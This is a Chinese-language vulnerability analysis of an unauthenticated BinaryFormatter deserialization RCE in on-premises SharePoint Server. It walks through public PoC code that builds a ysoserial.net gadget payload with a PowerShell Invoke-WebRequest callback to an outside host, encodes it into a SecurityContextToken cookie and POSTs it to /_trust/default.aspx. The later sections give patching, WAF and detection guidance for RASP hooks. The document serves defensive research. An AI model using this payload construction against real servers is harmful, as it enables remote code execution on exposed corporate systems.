CVE-2026-50522 SharePoint 未认证反序列化 RCE 分析

分析日期:2026-08-03 来源:https://github.com/4minx/CVE-2026-50522 MSRC:https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50522

漏洞概要

项目内容
CVE 编号CVE-2026-50522
类型CWE-502 不可信数据反序列化
CVSS 3.19.8 (Critical)
认证要求无需认证 (Unauthenticated)
影响产品Microsoft SharePoint Server(本地部署版)

受影响版本

产品修复版本
SharePoint Server Subscription Edition16.0.19725.20434 之前
SharePoint Server 201916.0.10417.20175 之前
SharePoint Enterprise Server 201616.0.5561.1001 之前

漏洞原理

这是一个典型的不安全反序列化导致 RCE漏洞,攻击链如下:

  1. Payload 生成:使用 ysoserial.net 生成 BinaryFormatter 格式的序列化 payload,利用 TypeConfuseDelegate gadget chain 构造恶意命令
  2. Payload 编码:原始 bytes → zlib deflate 压缩 → Base64 编码 → 嵌入到 SecurityContextToken XML 结构的 <Cookie> 元素中
  3. 投递路径:将构造的 token 包裹在 WS-Federation 的 RequestSecurityTokenResponse XML 中,通过 wresult 参数 POST 到 /_trust/default.aspx(SharePoint 的 WS-Federation 信任端点)
  4. 触发执行:SharePoint 服务端解析 wresult → 提取 SecurityContextToken → 读取 Cookie 值 → 使用 BinaryFormatter 反序列化 → 触发 gadget chain → 在 IIS worker process (w3wp.exe) 上下文中执行任意代码

根因:SharePoint 的 WS-Federation 端点在处理 SecurityContextToken 时,对 Cookie 字段使用了不安全的 BinaryFormatter.Deserialize(),且该端点无需认证即可访问。

PoC 代码分析

build_payload 函数

python
def build_payload(ysoserial, guid, callback_url):
    # 1. 构造命令 — 原版用 PowerShell 调 Invoke-WebRequest 回连
    cmd = f"powershell.exe -NoProfile -NonInteractive -Command Invoke-WebRequest -UseBasicParsing '{callback_url}'"
    
    # 2. 调用 ysoserial.net 生成 BinaryFormatter 反序列化 payload
    #    -g TypeConfuseDelegate  (gadget chain)
    #    -f BinaryFormatter       (序列化格式)
    #    -o raw                   (输出原始 bytes)
    #    -c cmd                   (要执行的命令)
    tmp = os.path.join(tempfile.gettempdir(), f"{guid}.bin")
    r = subprocess.run(
        [ysoserial, "-g", GADGET, "-f", FORMATTER, "-o", "raw", "-c", cmd, "--outputpath", tmp],
        capture_output=True, text=True, timeout=30
    )
    # 3. 读取生成的 raw bytes
    with open(tmp, "rb") as f:
        return f.read()
python
def cookie_encode(data: bytes) -> str:
    return base64.b64encode(zlib.compress(data)[2:-4]).decode()
  • zlib.compress(data) 返回 [2字节头][压缩数据][4字节ADLER校验]
  • [2:-4] 去掉头和校验,只保留纯压缩数据
  • 再 base64 编码

build_wresult 函数

python
def build_wresult(guid, cookie):
    token = (
        f'<sc:SecurityContextToken xmlns:sc="http://schemas.xmlsoap.org/ws/2005/02/sc">'
        f'<sc:Identifier>urn:unique-id:securitycontext:{guid}</sc:Identifier>'
        f'<Cookie xmlns="http://schemas.microsoft.com/ws/2006/05/security">{cookie}</Cookie>'
        f'</sc:SecurityContextToken>'
    )
    return (
        f'<t:RequestSecurityTokenResponse xmlns:t="http://schemas.xmlsoap.org/ws/200...'
        # ... 包装在 WS-Federation Response XML 中
    )

PoC 特征

  • 多线程扫描ThreadPoolExecutor 10 线程并发
  • 两种回连模式:path 模式(callback/host)和 subdomain 模式(host.callback
  • 响应分析:通过 HTTP 状态码和响应体内容判断目标状态
  • 3 次重试:超时或连接错误时自动重试
  • 仅验证无利用:payload 只执行 Invoke-WebRequest 回连,不执行破坏性命令

完整调用链

ysoserial.net -g TypeConfuseDelegate -f BinaryFormatter -c "calc"
    ↓ 生成 raw bytes (BinaryFormatter 序列化的 TypeConfuseDelegate)
    
build_payload() 返回 bytes
    ↓
cookie_encode(data)  →  zlib.compress → 去 2 字节头 4 字节尾 → base64
    ↓
build_wresult(guid, cookie)  →  包装成 SecurityContextToken XML
    ↓
POST /_trust/default.aspx  (wresult=<上面那段 XML>)
    ↓
SharePoint 解析 wresult → 提取 Cookie → BinaryFormatter.Deserialize()
    ↓
TypeConfuseDelegate → Process.Start("calc")
    ↓
w3wp.exe 子进程执行

修改 calc 验证

build_payload 中的 cmd 改为:

python
cmd = "calc"  # 或 "cmd.exe /c calc"

ysoserial.net 的 -c 参数就是最终要执行的命令,TypeConfuseDelegate gadget chain 会通过 Process.Start() 调用它。换成 calc 只是换了个更简单的命令,payload 构造逻辑完全不变。

防御建议

紧急措施

  1. 立即打补丁:升级到对应版本的修复版本
  2. 网络隔离:如果无需对外暴露 WS-Federation 端点,在 WAF/反向代理层阻断对 /_trust/default.aspx 的外部访问
  3. 检测:检查 IIS 日志中对 /_trust/default.aspx 的 POST 请求,特别是 wresult 参数包含 SecurityContextToken 的记录

深度防御

  1. AMSI 集成:确保 Windows AMSI 已启用并与 IIS 集成,可拦截 PowerShell gadget payload
  2. BinaryFormatter 禁用:在 .NET 配置中限制 BinaryFormatter 的使用
  3. WAF 规则:针对 /_trust/default.aspx 的异常大 wresult POST 请求添加检测规则
  4. 日志监控:监控 w3wp.exe 异常子进程创建(如 powershell.execalc.exe

对 cve-dat-generate / RASP 的启示

Hook 检测点

Hook 点检测特征
BinaryFormatter.Deserialize调用栈包含 SecurityContextToken / WSTrust
Process.Start / CreateProcess父进程是 w3wp.exe,命令行含 calc/powershell
/_trust/default.aspx 请求POST + wresult 参数含 SecurityContextToken + 超长 base64 Cookie

cve-dat-generate 配置建议

  • 产品:SharePoint(已有 SharePoint.json
  • Hook 点MyDeserialize(已有)、MyStartWithCreateProcess(已有)
  • 检测特征:POST /_trust/default.aspx + wresult 包含 SecurityContextToken + BinaryFormatter 反序列化调用栈
  • 可在 report_config.json 中考虑增加对 BinaryFormatter 相关调用栈的关键词监控

风险评估

高危特征:

  • ✅ 无需认证 — 任何能访问到 /_trust/default.aspx 的攻击者都可利用
  • ✅ 直接 RCE — 以 IIS 应用池权限执行代码
  • ✅ 批量可利用 — PoC 自带多线程扫描器,适合大规模攻击
  • ✅ 公开可用 — PoC 已在 GitHub 公开,据称已被活跃利用
  • ⚠️ AMSI 可能拦截 — PoC 的 analyze() 函数会检测 AMSI 拦截

攻击场景:

  • 暴露在互联网的本地 SharePoint 服务器(企业外网门户、合作伙伴协作平台)
  • 内网横向移动(获取 SharePoint 控制权 → 横向渗透域内其他系统)

本文档用于防御研究和 RASP 规则维护,分析基于公开 PoC 和 MSRC 漏洞信息。